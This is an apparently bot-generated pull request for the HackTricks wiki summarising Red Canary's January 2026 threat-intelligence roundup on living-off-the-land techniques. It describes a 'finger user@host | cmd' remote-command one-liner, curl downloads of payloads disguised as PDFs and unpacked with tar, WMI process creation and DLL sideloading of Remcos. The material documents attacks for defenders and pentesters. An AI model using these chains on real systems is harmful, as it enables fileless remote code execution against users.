Intelligence Insights January 2026

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: https://redcanary.com/blog/threat-intelligence/intelligence-insights-january-2026/
• Blog Title: Intelligence Insights: January 2026
• Suggested Section: Windows Hardening -> (New/Existing) LOLBAS / Living-off-the-Land execution (or Windows Local Privilege Escalation/Process Abuse area) + Pentesting Network Services -> 79/tcp Finger (add abuse note) + Windows -> DLL Hijacking/DLL Sideloading + Windows -> WMI (process creation via CIM/Win32_Process)

🎯 Content Summary

Title/Scope
Red Canary’s “Intelligence Insights: January 2026” is a threat-intel roundup based on detections across unique customer environments (counts represent the number of unique environments where Red Canary observed the activity). The post is not a CVE write-up, but it documents concrete, operator-style execution chains (copy/paste command lines) and highlights detection opportunities around LOLBAS abuse and DLL sideloading.

Threat landscape context (observed largel...

🔧 Technical Details

LOLBAS remote command execution via finger piped into cmd: If an attacker can convince a user to run a one-liner (“paste-and-run”), they can use the Windows finger client to fetch attacker-controlled plaintext over TCP/79 and pipe it to cmd (e.g., finger user@host | cmd). Because cmd interprets stdin as commands, the remote server response becomes a dynamic second-stage script, enabling fileless/low-artifact execution and easy server-side payload rotation.

Disguised archive staging with built-ins (curl + tar): Attackers can download a payload container using curl -s -L but save it with a misleading extension (e.g., .pdf), then extract it using tar -xf into a randomized staging directory (commonly under %LocalAppData%). This reduces obvious indicators (like .zip/.7z names) while relyin...

🤖 Agent Actions

Updated DLL hijacking guide with a new section describing a living-off-the-land chain: Finger-based remote command staging piped into cmd, stealthy curl/tar extraction of disguised payloads, WMI/CIM process creation to trigger DLL sideloads (e.g., Remcos under trusted binaries), plus forfiles hunting tips; added Red Canary Intelligence Insights reference. Tests were not run (documentation change).

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[carlospolop]

🔗 Additional Context

Original Blog Post: https://redcanary.com/blog/threat-intelligence/intelligence-insights-january-2026/

Content Categories: Based on the analysis, this content was categorized under "Windows Hardening -> (New/Existing) LOLBAS / Living-off-the-Land execution (or Windows Local Privilege Escalation/Process Abuse area) + Pentesting Network Services -> 79/tcp Finger (add abuse note) + Windows -> DLL Hijacking/DLL Sideloading + Windows -> WMI (process creation via CIM/Win32_Process)".

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